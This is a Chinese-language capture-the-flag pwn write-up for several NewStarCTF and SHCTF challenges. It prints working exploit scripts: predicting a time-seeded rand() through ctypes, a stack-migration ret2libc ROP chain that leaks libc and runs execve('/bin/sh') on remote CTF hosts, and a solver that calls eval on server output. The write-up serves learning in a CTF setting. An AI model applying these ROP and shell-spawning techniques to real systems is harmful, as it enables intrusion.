# Note(PWN) - 0x00
# 0x00 #include<= 斗智斗勇.h=>
# ” 和 r 随 a 机 n 数 d 的博弈 “ ~ NewStarCTF-Random && SHCTF - 猜数游戏
NewStarCTF-Random,这题已经有了官方的 WP,于是我决定把 SHCTF 的这道题的 WP 写一下。(反正这两题题型完全一样)
checksec 之后,发现保护全开,直接《------IDA,启动!------》
至此,发现只要能够调用 func11 就可以提权啦
仔细读了之后,看来是随机数的漏洞。众所周知,rand () 产生的是伪随机数,当随机数的种子确定且相同的时候,rand 函数产生的数值是一样的
而且它给出的种子是 time (0),既然没有栈溢出或者格式化字符串漏洞可以获取到当前的 seed,也没有 fork 来进行爆破(虽然我还不会这种爆破(好吧,多线程的内容我根本还没学))
那么,是时候请出 BF(Brute Force , 暴力求解)兄弟了,直接暴力
那么怎么实现呢???人家产生的可是随机数啊,而且种子还是随时间变化的!!!你只有一次机会啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊!!!!
(肿么办哇~ 出题人是不是出错题目啦~怎么可以这么欺负人,尤其是新生~)
艹,我实在编不下去了。。。。。
按理来说,既然 time 产生的数值是当前时间距离另一个时间的秒数,那么在同一秒内,产生的 time 值就是相同的,
因此,我们可以使用 ctypes,然后编写一个.so 文件,然后尽量让我们这边和远程那边在同一秒生成 time,这样 rand 的 seed 就是一样的了。毋庸置疑,之后产生的伪随机数就是完全一样的啦!!!
(这里其实也可以直接使用一个现成的 glibc,然后省去了自己编写 C 语言代码的功夫啦)
这里在 NewStarCTF 那边的调用 shell 的方式很新,至少我是第一次见,甚至我曾一度怀疑那里真能调用 shell 吗... ...
EXPs:
1 2 3 4 5 6 7 8 9 10 11
| #include <stdlib.h> #include <stdio.h> #include <time.h> void set_seed() { time_t seed = time(NULL); srand(seed); } int random_number() { return rand(); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| from pwn import* import ctypes lib=ctypes.CDLL('./random1.so') tob = lambda text: str(text).encode('utf-8') while 1: try : context.log_level = 'debug' p=remote('112.6.51.212',32430) lib.random_number.restype = ctypes.c_int lib.set_seed() result = lib.random_number() print(result) p.recvuntil(b"number?") p.sendline(tob(11)) p.sendline(tob(result)) answer = p.recv(timeout = 3) p.interactive() p.sendline(b'ls') if b'your guess not this number,plz try again,input 1 to continue or anything to quit' in answer: p.close() continue elif length(answer)==0: p.interactive() else : p.interactive() except: p.close()
|
# ” 是时候勾心斗角地进行字符串处理了!“ ~ SHCTF - 口算题
Q:你知道怎么用 pwntools 吗??????????????
A:我好像还真不知道,但是爷高中的时候最擅长的就是和字符串的处理勾心斗角,嘿嘿嘿~~~
题目没给 ELF 文件,只能 nc 一下康康
题目要求我们算 200 个口算题。身为一只 pwn pwn 的宅男,怎能像大冤种一样真的口算?就算按计算器我都懒得干。。。
(再说我口算的速度也没法做到在 200 秒内口算 200 个计算题 qwq)
思路就是直接按字符串读入,然后勾心斗角地转化为算式交给程序进行运算。但是我对 python 的熟练度并没有 C++ 高,所以这题做的时候写代码的时候消耗的时间不该那么长的。。。
中间还有一个问题,就是运算符的问题。
题目中给出的算式的运算符的乘与除的符号并不是 * 与 / ,所以还需要转换一下下
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from pwn import* context.log_level='debug' p=remote('112.6.51.212',32244) i=1
p.sendafter('start...',b'\n') p.recvuntil('\n') s=p.recv() s = s.replace(b"\xc3\x97", b"*") s=s.replace(b"\xc3\xb7",b"/") print(s[:-4]) res=eval(s[:-4]) print(res) p.sendline(str(res)) for i in range(200): p.recvuntil('\n') p.recvuntil('\n') s=p.recv() s = s.replace(b"\xc3\x97", b"*") s=s.replace(b"\xc3\xb7",b"/") print(s[:-4]) res=eval(s[:-4]) print(res) p.sendline(str(res))
|
# “艹你这 exp 太难绷了。” ~ NewStarCTF-stack migration
checksec 之后感觉这道题挺平平无奇的
扔进 IDA 中,一看就是栈迁移(看题目也知道是栈迁移好吧~)但是实际编写过程中感觉这题也挺考验 ROP 和 ret2libc 的功底的。
于是,就有了第一版的 EXP: (一些其他的细节和思路在源代码已经写出来了,这里不再赘述)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| from pwn import* context.log_level='debug' context(os='linux',arch='amd64')
p=remote('node4.buuoj.cn',28834) elf=ELF('./migr') libc=ELF('./libc.so.6') shellcode=asm(shellcraft.sh()) pop_rsi_r15=0x401331 pop_rdi=0x401333 main=0x4011FB leave_ret=0x4012AA ret=0x40101a puts_addr=elf.plt['puts'] read_addr=elf.plt['read'] func_addr=elf.got['read']
payload1=p64(1) p.sendafter('name:\n',payload1) p.recvuntil('0x') buf=p.recv(12) buf=int(buf,16) print(hex(buf)) payload2=p64(pop_rdi)+p64(func_addr)+p64(puts_addr)+p64(ret)+p64(main) +p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(buf+8*(8+2))+p64(read_addr) +p64(buf)+p64(leave_ret)
p.sendlineafter(' plz:\n',payload2) p.recvuntil('soon!\n') addr=u64(p.recv(6).ljust(8,b'\x00')) print(hex(addr)) base=addr-libc.symbols['read'] system_addr=base+libc.symbols['system'] execve_addr=base+libc.symbols['execve'] str_bin_sh=base+next(libc.search(b'/bin/sh'))
pop_rsi=0x2601f+base pop_rdx=0x142c92+base
payload1=p32(1) p.sendlineafter('name:\n',payload1) p.recvuntil('0x') buf=p.recv(12) buf=int(buf,16) print(hex(buf)) print(hex(system_addr))
payload3=p64(pop_rdi)+p64(str_bin_sh)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(execve_addr) +p64(ret)+p64(pop_rdi) +p64(1) +p64(buf)+p64(leave_ret) p.sendlineafter(' plz:\n',payload3) p.interactive()
|
但是,事情没有那么简单... ...
在 gdb 调试下,完全可以跳转到指定的位置执行 code 了,但是远程根本打不通。
按理来说在远程的条件下,最终填充的地址应改就是 system 或者 execve 的地址。那么为什么还打不通哇
于是蒟蒻去求助王神了。。。
于是蒟蒻就跟着
现学了更换 glibc 版本的方法
果然,更换了 glibc 之后,再加上王神 polish 的 EXP,果然打通了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| from pwn import*
context.log_level='debug' context(os='linux',arch='amd64')
p=remote('node4.buuoj.cn',27781) elf=ELF('./migr') libc=ELF('./libc.so.6')
pop_rsi_r15=0x401331 pop_rdi=0x401333 main=0x4011FB leave_ret=0x4012AA ret=0x40101a puts_addr=elf.plt['puts'] read_addr=elf.plt['read'] func_addr=elf.got['read']
payload1=p64(1) p.sendafter('name:\n',payload1) p.recvuntil('0x') buf=p.recv(12) buf=int(buf,16) print(hex(buf)) payload2=p64(pop_rdi)+p64(func_addr)+p64(puts_addr)+p64(ret)+p64(main) +p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(buf+8*(8+2))+p64(read_addr) +p64(buf)+p64(leave_ret)
p.sendafter(' plz:\n',payload2) p.recvuntil('soon!\n') addr=u64(p.recv(6).ljust(8,b'\x00')) print(hex(addr)) base=addr-libc.symbols['read'] system_addr=base+libc.symbols['system'] execve_addr=base+libc.symbols['execve'] str_bin_sh=base+next(libc.search(b'/bin/sh')) print('base:'+hex(base))
pop_rsi=0x2601f+base pop_rdx=0x142c92+base
payload1=p32(1) pause() p.sendafter('name:\n',payload1) p.recvuntil('0x') buf=p.recv(12) buf=int(buf,16) print(hex(buf)) print(hex(system_addr))
payload3=p64(pop_rdi)+p64(str_bin_sh)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(ret)+p64(execve_addr)+p64(pop_rdi) +p64(1) +p64(buf)+p64(leave_ret) p.sendafter(' plz:\n',payload3) p.interactive()
|
残留的一个疑惑:毋庸置疑,本地打不通完全是因为本地的 glibc 个远程的不一样,所以最后的 execve 的地址是错误的。
至于为什么不更换 glibc 就没有办法打通,我还是有些疑惑的
目前来说,可能的猜想就是 exp 中用到的 read 的地址是由 glibc 产生的,那么在远程的 read 的地址就是完全不一样的,
那么就导致打远程的时候,调用的并非是 read,而是其他乱七八糟的 gadgets 或者根本无效的地址。。
# "那不随便打" ~ NewStarCTF-shellcode revenge
王神:之前在发的 New Star 和 SHCTF 这两个校外的新生赛,现在公开赛道已经是第二周了。有时候办新生赛的主办方会放一些特别难的题防止老生炸鱼。新同学如果遇到那种解特别少的题就不要死磕了,可以把题发出来,让老生鉴定一下这题新生水平能不能做。
老生炸鱼真实影像资料:
checksec 之后注意开启了 canary,顿时感觉到不对劲
扔进 IDA,发现 canary 除了限制做法其他 p 用都没有,虚惊一场。。。
基本思路就是读入一个 shellcode 执行,反正也没有 NX 的事,毕竟人家都直接给你 jump 过去了。。。
但是这题读入的时候有个限制,就是只能读入 char 下的 09,AY,非常令人头痛。。。我还真没有见过这种有限制的 shellcode。
但是仔细想了 10.00000000000000000000000000000000 秒之后,我就觉得可以先构造一些 gadgets 然后把 shellcode 中没法直接传入的字节用 xor,add,sub 等运算给搓出来
但是我见过最短的 shellcode 也要 32 字节,用手搓也太痛苦了啊啊啊啊
(不会真有大冤种用异或手搓出来整个 shellcode 吧)
但是王神的方法可以说是灰常巧妙了啊,首先 main 函数读入的时候,手搓一个 read 函数,然后用自己手搓的没有限制的 read 函数读入 shellcode 并且执行。这样的优点就是工作量大大减少,而且 read 函数的地址的异或的算式可以用函数进行生成。那么工作量就会大大减少(既然又生成的函数了,那么 32 字节的 shellcode 也就看起来工作量也不是那么大了)。
1
| 具体的EXP我就不放了,毕竟是不是我做出来的,我也没有去拿那题的分
|